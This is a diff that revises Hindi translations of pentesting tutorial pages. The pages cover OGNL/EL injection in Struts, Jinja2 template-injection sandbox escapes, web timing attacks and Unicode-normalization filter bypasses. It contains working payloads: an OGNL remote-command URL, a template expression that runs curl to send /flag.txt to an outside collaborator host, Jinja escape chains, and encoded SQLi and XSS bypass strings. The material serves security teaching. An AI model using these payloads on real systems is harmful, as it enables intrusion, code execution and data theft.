(आप EL के बारे में एक और दिलचस्प ट्यूटोरियल [https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/) पर पा सकते हैं)
|
||||
(आप EL के बारे में एक और दिलचस्प ट्यूटोरियल [https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/) में पा सकते हैं)
|
||||
|
||||
[**Maven**](https://mvnrepository.com) रिपॉजिटरी से जार फ़ाइलें डाउनलोड करें:
|
||||
|
||||
@ -138,7 +138,7 @@ https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlCo
|
||||
# With HTMl entities injection inside the template
|
||||
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
|
||||
```
|
||||
- RCE **linux**
|
||||
- RCE **लिनक्स**
|
||||
```bash
|
||||
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
|
||||
```
|
||||
|
@ -60,12 +60,12 @@ app.run()
|
||||
```
|
||||
## **Jinja Injection**
|
||||
|
||||
सबसे पहले, Jinja injection में आपको **sandbox से बाहर निकलने का एक तरीका ढूंढना होगा** और नियमित python execution flow तक पहुंच प्राप्त करनी होगी। ऐसा करने के लिए, आपको **objects का दुरुपयोग करना होगा** जो **non-sandboxed environment से हैं लेकिन sandbox से सुलभ हैं**।
|
||||
सबसे पहले, Jinja इंजेक्शन में आपको **सैंडबॉक्स से बाहर निकलने का एक तरीका ढूंढना होगा** और नियमित पायथन निष्पादन प्रवाह तक पहुंच प्राप्त करनी होगी। ऐसा करने के लिए, आपको **वस्तुओं का दुरुपयोग करना होगा** जो **गैर-सैंडबॉक्स वातावरण से हैं लेकिन सैंडबॉक्स से सुलभ हैं**।
|
||||
|
||||
### Global Objects तक पहुंच
|
||||
|
||||
उदाहरण के लिए, कोड `render_template("hello.html", username=username, email=email)` में objects username और email **non-sandboxed python env से आते हैं** और **sandboxed env के अंदर सुलभ होंगे।**\
|
||||
इसके अलावा, अन्य objects हैं जो **हमेशा sandboxed env से सुलभ होंगे**, ये हैं:
|
||||
उदाहरण के लिए, कोड `render_template("hello.html", username=username, email=email)` में वस्तुएं username और email **गैर-सैंडबॉक्स पायथन वातावरण से आती हैं** और **सैंडबॉक्स वातावरण के अंदर सुलभ** होंगी।\
|
||||
इसके अलावा, अन्य वस्तुएं हैं जो **हमेशा सैंडबॉक्स वातावरण से सुलभ** होंगी, ये हैं:
|
||||
```
|
||||
[]
|
||||
''
|
||||
@ -76,11 +76,11 @@ request
|
||||
```
|
||||
### Recovering \<class 'object'>
|
||||
|
||||
फिर, इन ऑब्जेक्ट्स से हमें क्लास तक पहुंचने की आवश्यकता है: **`<class 'object'>`** ताकि हम परिभाषित **क्लासेस** को **recover** करने की कोशिश कर सकें। इसका कारण यह है कि इस ऑब्जेक्ट से हम **`__subclasses__`** मेथड को कॉल कर सकते हैं और **non-sandboxed** python env से सभी क्लासेस तक पहुंच सकते हैं।
|
||||
फिर, इन ऑब्जेक्ट्स से हमें **`<class 'object'>`** क्लास तक पहुंचने की आवश्यकता है ताकि हम परिभाषित **क्लासेस** को **recover** करने की कोशिश कर सकें। इसका कारण यह है कि इस ऑब्जेक्ट से हम **`__subclasses__`** मेथड को कॉल कर सकते हैं और **non-sandboxed** python env से सभी क्लासेस तक पहुंच सकते हैं।
|
||||
|
||||
इस **ऑब्जेक्ट क्लास** तक पहुंचने के लिए, आपको **क्लास ऑब्जेक्ट** तक पहुंचने की आवश्यकता है और फिर **`__base__`**, **`__mro__()[-1]`** या `.`**`mro()[-1]`** तक पहुंचें। और फिर, **इस ऑब्जेक्ट क्लास** तक पहुंचने के बाद हम **`__subclasses__()`** को **call** करते हैं।
|
||||
|
||||
इन उदाहरणों को देखें:
|
||||
इन उदाहरणों की जांच करें:
|
||||
```python
|
||||
# To access a class object
|
||||
[].__class__
|
||||
@ -169,7 +169,7 @@ dict.__mro__[-1]
|
||||
|
||||
#### सामान्य बायपास
|
||||
|
||||
ये बायपास हमें **विशेषताओं** तक **पहुँचने** की अनुमति देंगे **कुछ वर्णों** का उपयोग किए बिना।\
|
||||
ये बायपास हमें **विशेषताओं** तक **पहुँचने** की अनुमति देंगे **कुछ अक्षरों का उपयोग किए बिना**।\
|
||||
हमने पहले के उदाहरणों में इनमें से कुछ बायपास पहले ही देख लिए हैं, लेकिन आइए उन्हें यहाँ संक्षेप में प्रस्तुत करें:
|
||||
```bash
|
||||
# Without quotes, _, [, ]
|
||||
@ -214,7 +214,7 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
||||
#will be
|
||||
<script>alert(1);</script>
|
||||
```
|
||||
**`safe`** फ़िल्टर हमें पृष्ठ में JavaScript और HTML को **बिना** **HTML एन्कोडेड** किए इंजेक्ट करने की अनुमति देता है, जैसे:
|
||||
**`safe`** फ़िल्टर हमें पृष्ठ में JavaScript और HTML को **बिना** **HTML एन्कोडेड** किए इंजेक्ट करने की अनुमति देता है, जैसे कि:
|
||||
```python
|
||||
{{'<script>alert(1);</script>'|safe}}
|
||||
#will be
|
||||
@ -247,10 +247,10 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
||||
```
|
||||
## Jinja Injection बिना **\<class 'object'>**
|
||||
|
||||
[**ग्लोबल ऑब्जेक्ट्स**](jinja2-ssti.md#accessing-global-objects) से **RCE तक पहुँचने का एक और तरीका है बिना उस क्लास का उपयोग किए।**\
|
||||
[**ग्लोबल ऑब्जेक्ट्स**](jinja2-ssti.md#accessing-global-objects) से **RCE तक पहुँचने** का एक और तरीका है **उस क्लास का उपयोग किए बिना।**\
|
||||
यदि आप उन ग्लोबल ऑब्जेक्ट्स में से किसी भी **फंक्शन** तक पहुँचने में सफल होते हैं, तो आप **`__globals__.__builtins__`** तक पहुँच सकते हैं और वहाँ से **RCE** बहुत **सरल** है।
|
||||
|
||||
आप **फंक्शंस** को ऑब्जेक्ट्स **`request`**, **`config`** और किसी भी **अन्य** दिलचस्प **ग्लोबल ऑब्जेक्ट** से ढूंढ सकते हैं, जिन तक आपकी पहुँच है:
|
||||
आप **फंक्शंस** को ऑब्जेक्ट्स **`request`**, **`config`** और किसी भी **अन्य** दिलचस्प **ग्लोबल ऑब्जेक्ट** से प्राप्त कर सकते हैं, जिसके लिए आपके पास पहुँच है:
|
||||
```bash
|
||||
{{ request.__class__.__dict__ }}
|
||||
- application
|
||||
@ -322,7 +322,7 @@ The request will be urlencoded by default according to the HTTP format, which ca
|
||||
## संदर्भ
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
|
||||
- [attr trick to bypass blacklisted chars in here](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3) की जांच करें।
|
||||
- [attr trick को यहाँ काली सूचीबद्ध वर्णों को बायपास करने के लिए चेक करें](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
|
||||
- [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
|
||||
- [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
|
||||
|
||||
|
@ -3,7 +3,7 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
> [!WARNING]
|
||||
> इस तकनीक की गहरी समझ प्राप्त करने के लिए [https://portswigger.net/research/listen-to-the-whispers-web-timing-attacks-that-actually-work](https://portswigger.net/research/listen-to-the-whispers-web-timing-attacks-that-actually-work) से मूल रिपोर्ट देखें
|
||||
> इस तकनीक की गहरी समझ प्राप्त करने के लिए [https://portswigger.net/research/listen-to-the-whispers-web-timing-attacks-that-actually-work](https://portswigger.net/research/listen-to-the-whispers-web-timing-attacks-that-actually-work) से मूल रिपोर्ट देखें।
|
||||
|
||||
## Basic Information
|
||||
|
||||
@ -16,20 +16,20 @@ Timing attack का मूल लक्ष्य जटिल प्रश्
|
||||
|
||||
### Hidden Attack Surface
|
||||
|
||||
ब्लॉग पोस्ट में इस तकनीक का उपयोग करके छिपे हुए पैरामीटर और यहां तक कि हेडर खोजने के बारे में चर्चा की गई है, बस यह जांचते हुए कि जब भी पैरामीटर या हेडर अनुरोध में मौजूद होता है, तो **लगभग 5ms का समय का अंतर** होता है। वास्तव में, इस खोज तकनीक को Burp Suite में **Param Miner** में जोड़ा गया है।
|
||||
ब्लॉग पोस्ट में इस तकनीक का उपयोग करके छिपे हुए पैरामीटर और यहां तक कि हेडर खोजने के बारे में चर्चा की गई है, बस यह जांचते हुए कि जब भी पैरामीटर या हेडर अनुरोध में मौजूद था, तो **लगभग 5ms का समय का अंतर** था। वास्तव में, इस खोज तकनीक को Burp Suite में **Param Miner** में जोड़ा गया है।
|
||||
|
||||
ये समय के अंतर इस कारण हो सकते हैं कि एक **DNS अनुरोध** किया गया था, कुछ **लॉग लिखा गया** था क्योंकि एक अमान्य इनपुट था या क्योंकि कुछ **जांच की जाती हैं** जब अनुरोध में एक पैरामीटर मौजूद होता है।
|
||||
|
||||
जब इस प्रकार के हमले किए जा रहे हों, तो आपको याद रखने की आवश्यकता है कि सतह की छिपी हुई प्रकृति के कारण, आप समय के अंतर के वास्तविक कारण को नहीं जान सकते।
|
||||
जब इस प्रकार के हमले किए जाते हैं, तो आपको याद रखने की आवश्यकता है कि सतह की छिपी हुई प्रकृति के कारण, आप समय के अंतर के वास्तविक कारण को नहीं जान सकते।
|
||||
|
||||
### Reverse Proxy Misconfigurations
|
||||
|
||||
उसी शोध में, यह साझा किया गया था कि timing तकनीक "scoped SSRFs" का पता लगाने के लिए महान थी (जो SSRFs हैं जो केवल अनुमत IP/डोमेन तक पहुंच सकते हैं)। केवल **अनुमत डोमेन सेट करने पर समय के अंतर की जांच करना** बनाम जब एक गैर-अनुमत डोमेन सेट किया जाता है, खुली प्रॉक्सी का पता लगाने में मदद करता है, भले ही प्रतिक्रिया समान हो।
|
||||
उसी शोध में, यह साझा किया गया था कि timing तकनीक "scoped SSRFs" का पता लगाने के लिए महान थी (जो SSRFs हैं जो केवल अनुमत IP/डोमेन तक पहुंच सकते हैं)। केवल **अनुमत डोमेन सेट करने पर समय के अंतर की जांच करना** बनाम जब एक गैर-अनुमत डोमेन सेट किया गया है, खुली प्रॉक्सी खोजने में मदद करता है, भले ही प्रतिक्रिया समान हो।
|
||||
|
||||
एक scoped open proxy का पता लगाने के बाद, यह ज्ञात उपडोमेन को पार्स करके वैध लक्ष्यों को खोजने में संभव था और इससे:
|
||||
एक scoped open proxy खोजने के बाद, यह लक्ष्यों को खोजने के लिए ज्ञात उपडोमेन को पार्स करके संभव था और इससे यह अनुमति मिली:
|
||||
|
||||
- **फायरवॉल को बायपास करें** द्वारा प्रतिबंधित उपडोमेन तक **खुली प्रॉक्सी** के माध्यम से पहुंचकर इंटरनेट के माध्यम से नहीं
|
||||
- इसके अलावा, एक **खुली प्रॉक्सी** का दुरुपयोग करके **नए उपडोमेन का पता लगाना भी संभव है जो केवल आंतरिक रूप से सुलभ हैं।**
|
||||
- **फायरवॉल को बायपास करें** द्वारा प्रतिबंधित उपडोमेन तक **खुली प्रॉक्सी** के माध्यम से पहुंचना, इंटरनेट के माध्यम से नहीं।
|
||||
- इसके अलावा, एक **खुली प्रॉक्सी** का दुरुपयोग करके **नए उपडोमेन खोजे जा सकते हैं जो केवल आंतरिक रूप से सुलभ हैं।**
|
||||
- **फ्रंट-एंड अनुकरण हमले**: फ्रंट-एंड सर्वर सामान्यतः बैकएंड के लिए हेडर जोड़ते हैं जैसे `X-Forwarded-For` या `X-Real-IP`। खुली प्रॉक्सी जो इन हेडरों को प्राप्त करती हैं, उन्हें अनुरोधित एंडपॉइंट में जोड़ देंगी, इसलिए, एक हमलावर इन हेडरों को व्हाइटलिस्टेड मानों के साथ जोड़कर और अधिक आंतरिक डोमेन तक पहुंच प्राप्त कर सकता है।
|
||||
|
||||
## References
|
||||
|
@ -4,13 +4,13 @@
|
||||
|
||||
## Introduction
|
||||
|
||||
इस पर निर्भर करते हुए कि बैक-एंड/फ्रंट-एंड **अजीब यूनिकोड कैरेक्टर्स** प्राप्त करने पर कैसे व्यवहार करता है, एक हमलावर **सुरक्षाओं को बायपास** करने और **मनमाने कैरेक्टर्स को इंजेक्ट** करने में सक्षम हो सकता है, जिन्हें **इंजेक्शन कमजोरियों** जैसे XSS या SQLi का दुरुपयोग करने के लिए उपयोग किया जा सकता है।
|
||||
इस पर निर्भर करते हुए कि बैक-एंड/फ्रंट-एंड **अजीब unicode वर्णों** को प्राप्त करते समय कैसे व्यवहार करता है, एक हमलावर **सुरक्षाओं को बायपास** करने और **मनमाने वर्णों को इंजेक्ट** करने में सक्षम हो सकता है, जिन्हें **इंजेक्शन कमजोरियों** जैसे XSS या SQLi का दुरुपयोग करने के लिए उपयोग किया जा सकता है।
|
||||
|
||||
## Unicode Normalization
|
||||
|
||||
यूनिकोड सामान्यीकरण तब होता है जब **यूनिकोड कैरेक्टर्स को ASCII कैरेक्टर्स में सामान्यीकृत** किया जाता है।
|
||||
Unicode सामान्यीकरण तब होता है जब **unicode वर्णों को ascii वर्णों में सामान्यीकृत** किया जाता है।
|
||||
|
||||
इस प्रकार की कमजोरी का एक सामान्य परिदृश्य तब होता है जब सिस्टम **उपयोगकर्ता के इनपुट को** किसी तरह **संशोधित** करता है **जांचने के बाद**। उदाहरण के लिए, कुछ भाषाओं में **इनपुट को अपरकेस या लोअरकेस** बनाने के लिए एक साधारण कॉल दिए गए इनपुट को सामान्यीकृत कर सकता है और **यूनिकोड ASCII में परिवर्तित** हो जाएगा, जिससे नए कैरेक्टर्स उत्पन्न होंगे।\
|
||||
इस प्रकार की कमजोरी का एक सामान्य परिदृश्य तब होता है जब सिस्टम **उपयोगकर्ता के इनपुट को** किसी न किसी तरह **संशोधित** करता है **जांचने के बाद**। उदाहरण के लिए, कुछ भाषाओं में **इनपुट को बड़े या छोटे अक्षरों में** बनाने के लिए एक साधारण कॉल दिए गए इनपुट को सामान्यीकृत कर सकता है और **unicode ASCII में परिवर्तित** हो जाएगा, जिससे नए वर्ण उत्पन्न होंगे।\
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
@ -19,9 +19,9 @@ unicode-normalization.md
|
||||
|
||||
## `\u` to `%`
|
||||
|
||||
यूनिकोड कैरेक्टर्स आमतौर पर **`\u` प्रीफिक्स** के साथ प्रदर्शित होते हैं। उदाहरण के लिए, कैरेक्टर `㱋` है `\u3c4b`([यहाँ देखें](https://unicode-explorer.com/c/3c4B)). यदि एक बैकएंड **`\u` प्रीफिक्स को `%` में परिवर्तित** करता है, तो परिणामी स्ट्रिंग `%3c4b` होगी, जिसे URL डिकोड किया गया है: **`<4b`**। और, जैसा कि आप देख सकते हैं, एक **`<` कैरेक्टर इंजेक्ट** किया गया है।\
|
||||
यदि बैकएंड कमजोर है तो आप इस तकनीक का उपयोग **किसी भी प्रकार के कैरेक्टर को इंजेक्ट** करने के लिए कर सकते हैं।\
|
||||
आपको आवश्यक कैरेक्टर्स खोजने के लिए [https://unicode-explorer.com/](https://unicode-explorer.com/) देखें।
|
||||
Unicode वर्ण आमतौर पर **`\u` उपसर्ग** के साथ प्रदर्शित होते हैं। उदाहरण के लिए, वर्ण `㱋` है `\u3c4b`([check it here](https://unicode-explorer.com/c/3c4B)). यदि एक बैकएंड **`\u` उपसर्ग को `%` में परिवर्तित** करता है, तो परिणामी स्ट्रिंग `%3c4b` होगी, जिसे URL डिकोड किया गया है: **`<4b`**। और, जैसा कि आप देख सकते हैं, एक **`<` वर्ण इंजेक्ट** किया गया है।\
|
||||
यदि बैकएंड कमजोर है तो आप इस तकनीक का उपयोग **किसी भी प्रकार के वर्ण को इंजेक्ट** करने के लिए कर सकते हैं।\
|
||||
आपको आवश्यक वर्ण खोजने के लिए [https://unicode-explorer.com/](https://unicode-explorer.com/) देखें।
|
||||
|
||||
यह कमजोरी वास्तव में एक शोधकर्ता द्वारा पाई गई एक कमजोरी से आती है, अधिक गहन व्याख्या के लिए देखें [https://www.youtube.com/watch?v=aUsAHb0E7Cg](https://www.youtube.com/watch?v=aUsAHb0E7Cg)
|
||||
|
||||
@ -29,8 +29,8 @@ unicode-normalization.md
|
||||
|
||||
बैक-एंड कुछ अजीब तरीके से व्यवहार करते हैं जब वे **इमोजी प्राप्त करते हैं**। यही [**इस लेख**](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209) में हुआ जहां शोधकर्ता ने एक पेलोड जैसे: `💋img src=x onerror=alert(document.domain)//💛` के साथ XSS प्राप्त करने में सफल रहा।
|
||||
|
||||
इस मामले में, त्रुटि यह थी कि सर्वर ने दुर्भावनापूर्ण कैरेक्टर्स को हटाने के बाद **Windows-1252 से UTF-8 में UTF-8 स्ट्रिंग को परिवर्तित** किया (बुनियादी रूप से इनपुट एन्कोडिंग और एन्कोडिंग से परिवर्तित करने में असंगति)। फिर यह एक उचित < नहीं देता, केवल एक अजीब यूनिकोड: `‹`\
|
||||
``तो उन्होंने इस आउटपुट को लिया और **अब UTF-8 से ASCII में फिर से परिवर्तित** किया। इसने `‹` को ` < ` में **सामान्यीकृत** किया, यही कारण है कि यह प्रणाली पर एक्सप्लॉइट काम कर सका।\
|
||||
इस मामले में, त्रुटि यह थी कि सर्वर ने दुर्भावनापूर्ण वर्णों को हटाने के बाद **Windows-1252 से UTF-8 में UTF-8 स्ट्रिंग को परिवर्तित** किया (बुनियादी रूप से इनपुट एन्कोडिंग और एन्कोडिंग से परिवर्तित करने में असंगति)। फिर यह एक उचित < नहीं देता, केवल एक अजीब unicode: `‹`\
|
||||
``तो उन्होंने इस आउटपुट को लिया और **अब UTF-8 से ASCII में फिर से परिवर्तित किया**। इसने `‹` को ` < ` में **सामान्यीकृत** किया, इस प्रकार यह उस सिस्टम पर कैसे काम कर सकता था।\
|
||||
यह क्या हुआ:
|
||||
```php
|
||||
<?php
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
## Understanding Unicode and Normalization
|
||||
|
||||
Unicode normalization एक प्रक्रिया है जो सुनिश्चित करती है कि वर्णों के विभिन्न बाइनरी प्रतिनिधित्व को एक ही बाइनरी मान में मानकीकृत किया जाए। यह प्रक्रिया प्रोग्रामिंग और डेटा प्रोसेसिंग में स्ट्रिंग्स के साथ काम करते समय महत्वपूर्ण है। Unicode मानक दो प्रकार की वर्ण समकक्षता को परिभाषित करता है:
|
||||
Unicode normalization एक प्रक्रिया है जो सुनिश्चित करती है कि वर्णों के विभिन्न बाइनरी प्रतिनिधित्व को एक ही बाइनरी मान में मानकीकृत किया जाए। यह प्रक्रिया प्रोग्रामिंग और डेटा प्रोसेसिंग में स्ट्रिंग्स के साथ काम करते समय महत्वपूर्ण है। Unicode मानक वर्ण समकक्षता के दो प्रकारों को परिभाषित करता है:
|
||||
|
||||
1. **Canonical Equivalence**: वर्णों को कैनोनिकल रूप से समकक्ष माना जाता है यदि उनका प्रिंट या डिस्प्ले पर एक समान रूप और अर्थ होता है।
|
||||
2. **Compatibility Equivalence**: समकक्षता का एक कमजोर रूप जहाँ वर्ण एक ही अमूर्त वर्ण का प्रतिनिधित्व कर सकते हैं लेकिन अलग-अलग तरीके से प्रदर्शित हो सकते हैं।
|
||||
@ -18,10 +18,10 @@ Unicode normalization एक प्रक्रिया है जो सुन
|
||||
Unicode एन्कोडिंग को समझना महत्वपूर्ण है, विशेष रूप से विभिन्न सिस्टमों या भाषाओं के बीच इंटरऑपरेबिलिटी मुद्दों से निपटने के समय। यहाँ मुख्य बिंदु हैं:
|
||||
|
||||
- **Code Points and Characters**: Unicode में, प्रत्येक वर्ण या प्रतीक को एक संख्यात्मक मान सौंपा जाता है जिसे "कोड प्वाइंट" कहा जाता है।
|
||||
- **Bytes Representation**: कोड प्वाइंट (या वर्ण) को मेमोरी में एक या अधिक बाइट्स द्वारा प्रदर्शित किया जाता है। उदाहरण के लिए, LATIN-1 वर्ण (अंग्रेजी बोलने वाले देशों में सामान्य) को एक बाइट का उपयोग करके प्रदर्शित किया जाता है। हालाँकि, जिन भाषाओं में वर्णों का बड़ा सेट होता है, उन्हें प्रतिनिधित्व के लिए अधिक बाइट्स की आवश्यकता होती है।
|
||||
- **Encoding**: यह शब्द वर्णों को बाइट्स की एक श्रृंखला में परिवर्तित करने के तरीके को संदर्भित करता है। UTF-8 एक प्रचलित एन्कोडिंग मानक है जहाँ ASCII वर्णों को एक बाइट का उपयोग करके प्रदर्शित किया जाता है, और अन्य वर्णों के लिए चार बाइट्स तक का उपयोग किया जाता है।
|
||||
- **Processing Data**: डेटा प्रोसेसिंग करने वाले सिस्टम को एन्कोडिंग के बारे में जागरूक होना चाहिए जो बाइट स्ट्रीम को सही तरीके से वर्णों में परिवर्तित करने के लिए उपयोग की जाती है।
|
||||
- **Variants of UTF**: UTF-8 के अलावा, अन्य एन्कोडिंग मानक हैं जैसे UTF-16 (कम से कम 2 बाइट्स का उपयोग करते हुए, 4 तक) और UTF-32 (सभी वर्णों के लिए 4 बाइट्स का उपयोग करते हुए)।
|
||||
- **Bytes Representation**: कोड प्वाइंट (या वर्ण) को मेमोरी में एक या अधिक बाइट्स द्वारा दर्शाया जाता है। उदाहरण के लिए, LATIN-1 वर्ण (अंग्रेजी बोलने वाले देशों में सामान्य) को एक बाइट का उपयोग करके दर्शाया जाता है। हालाँकि, जिन भाषाओं में अधिक वर्ण होते हैं, उन्हें प्रतिनिधित्व के लिए अधिक बाइट्स की आवश्यकता होती है।
|
||||
- **Encoding**: यह शब्द वर्णों को बाइट्स की एक श्रृंखला में परिवर्तित करने के तरीके को संदर्भित करता है। UTF-8 एक प्रचलित एन्कोडिंग मानक है जहाँ ASCII वर्णों को एक बाइट का उपयोग करके दर्शाया जाता है, और अन्य वर्णों के लिए चार बाइट्स तक।
|
||||
- **Processing Data**: डेटा प्रोसेसिंग करने वाले सिस्टम को एन्कोडिंग के बारे में जागरूक होना चाहिए ताकि बाइट स्ट्रीम को सही तरीके से वर्णों में परिवर्तित किया जा सके।
|
||||
- **Variants of UTF**: UTF-8 के अलावा, अन्य एन्कोडिंग मानक हैं जैसे UTF-16 (कम से कम 2 बाइट्स का उपयोग करते हुए, अधिकतम 4) और UTF-32 (सभी वर्णों के लिए 4 बाइट्स का उपयोग करते हुए)।
|
||||
|
||||
इन अवधारणाओं को समझना महत्वपूर्ण है ताकि Unicode की जटिलता और इसके विभिन्न एन्कोडिंग तरीकों से उत्पन्न संभावित मुद्दों को प्रभावी ढंग से संभाला और कम किया जा सके।
|
||||
|
||||
@ -29,25 +29,25 @@ Unicode के दो अलग-अलग बाइट्स को एक ह
|
||||
```python
|
||||
unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "chlo\u00e9")
|
||||
```
|
||||
**यूनिकोड समकक्ष वर्णों की एक सूची यहाँ मिल सकती है:** [https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html](https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html) और [https://0xacb.com/normalization_table](https://0xacb.com/normalization_table)
|
||||
**Unicode समकक्ष वर्णों की एक सूची यहाँ पाई जा सकती है:** [https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html](https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html) और [https://0xacb.com/normalization_table](https://0xacb.com/normalization_table)
|
||||
|
||||
### खोज
|
||||
|
||||
यदि आप एक वेब ऐप के अंदर एक ऐसा मान ढूंढ सकते हैं जो वापस इको किया जा रहा है, तो आप **‘KELVIN SIGN’ (U+0212A)** भेजने की कोशिश कर सकते हैं जो **"K"** में **नॉर्मलाइज** होता है (आप इसे `%e2%84%aa` के रूप में भेज सकते हैं)। **यदि "K" वापस इको किया जाता है**, तो कुछ प्रकार की **यूनिकोड नॉर्मलाइजेशन** की जा रही है।
|
||||
यदि आप एक वेब ऐप के अंदर एक ऐसा मान ढूंढ सकते हैं जो वापस इको किया जा रहा है, तो आप **‘KELVIN SIGN’ (U+0212A)** भेजने की कोशिश कर सकते हैं जो **"K"** में **सामान्यीकृत** होता है (आप इसे `%e2%84%aa` के रूप में भेज सकते हैं)। **यदि "K" वापस इको किया जाता है**, तो कुछ प्रकार की **Unicode सामान्यीकरण** की प्रक्रिया की जा रही है।
|
||||
|
||||
अन्य **उदाहरण**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` के बाद **यूनिकोड** `Leonishan` है।
|
||||
अन्य **उदाहरण**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` के बाद **unicode** `Leonishan` है।
|
||||
|
||||
## **कमजोर उदाहरण**
|
||||
|
||||
### **SQL Injection फ़िल्टर बायपास**
|
||||
|
||||
कल्पना कीजिए एक वेब पृष्ठ जो उपयोगकर्ता इनपुट के साथ SQL क्वेरी बनाने के लिए वर्ण `'` का उपयोग कर रहा है। यह वेब, एक सुरक्षा उपाय के रूप में, उपयोगकर्ता इनपुट से वर्ण **`'`** के सभी उदाहरणों को **हटाता है**, लेकिन **उस हटाने के बाद** और **क्वेरी बनाने से पहले**, यह उपयोगकर्ता के इनपुट को **यूनिकोड** का उपयोग करके **नॉर्मलाइज** करता है।
|
||||
कल्पना कीजिए एक वेब पृष्ठ जो उपयोगकर्ता इनपुट के साथ SQL क्वेरी बनाने के लिए वर्ण `'` का उपयोग कर रहा है। यह वेब, एक सुरक्षा उपाय के रूप में, उपयोगकर्ता इनपुट से वर्ण **`'`** के सभी उदाहरणों को **हटाता** है, लेकिन **उस हटाने के बाद** और **क्वेरी बनाने से पहले**, यह उपयोगकर्ता के इनपुट को **Unicode** का उपयोग करके **सामान्यीकृत** करता है।
|
||||
|
||||
फिर, एक दुर्भावनापूर्ण उपयोगकर्ता एक अलग यूनिकोड वर्ण डाल सकता है जो `' (0x27)` के समकक्ष है जैसे `%ef%bc%87`, जब इनपुट नॉर्मलाइज होता है, तो एक सिंगल कोट बनाया जाता है और एक **SQLInjection भेद्यता** प्रकट होती है:
|
||||
फिर, एक दुर्भावनापूर्ण उपयोगकर्ता एक अलग Unicode वर्ण डाल सकता है जो `' (0x27)` के समकक्ष है जैसे `%ef%bc%87`, जब इनपुट सामान्यीकृत होता है, तो एक सिंगल कोट बनाया जाता है और एक **SQLInjection भेद्यता** प्रकट होती है:
|
||||
|
||||
.png>)
|
||||
|
||||
**कुछ दिलचस्प यूनिकोड वर्ण**
|
||||
**कुछ दिलचस्प Unicode वर्ण**
|
||||
|
||||
- `o` -- %e1%b4%bc
|
||||
- `r` -- %e1%b4%bf
|
||||
@ -73,11 +73,11 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
|
||||
" || 1==1//
|
||||
%ef%bc%82+%ef%bd%9c%ef%bd%9c+%c2%b9%e2%81%bc%e2%81%bc%c2%b9%ef%bc%8f%ef%bc%8f
|
||||
```
|
||||
#### sqlmap template
|
||||
#### sqlmap टेम्पलेट
|
||||
|
||||
{% embed url="https://github.com/carlospolop/sqlmap_to_unicode_template" %}
|
||||
|
||||
### XSS (Cross Site Scripting)
|
||||
### XSS (क्रॉस साइट स्क्रिप्टिंग)
|
||||
|
||||
आप निम्नलिखित में से किसी एक चरित्र का उपयोग करके वेब ऐप को धोखा दे सकते हैं और XSS का शोषण कर सकते हैं:
|
||||
|
||||
@ -87,13 +87,13 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
|
||||
|
||||
 (1) (1).png>)
|
||||
|
||||
### Fuzzing Regexes
|
||||
### फज़िंग Regexes
|
||||
|
||||
जब बैकएंड **उपयोगकर्ता इनपुट को regex के साथ जांच रहा है**, तो यह संभव है कि **इनपुट** को **regex** के लिए **normalize** किया जा रहा हो लेकिन **जहां इसका उपयोग किया जा रहा है** वहां नहीं। उदाहरण के लिए, एक Open Redirect या SSRF में regex **भेजे गए URL** को **normalize** कर सकता है लेकिन फिर **जैसा है वैसा ही** एक्सेस कर सकता है।
|
||||
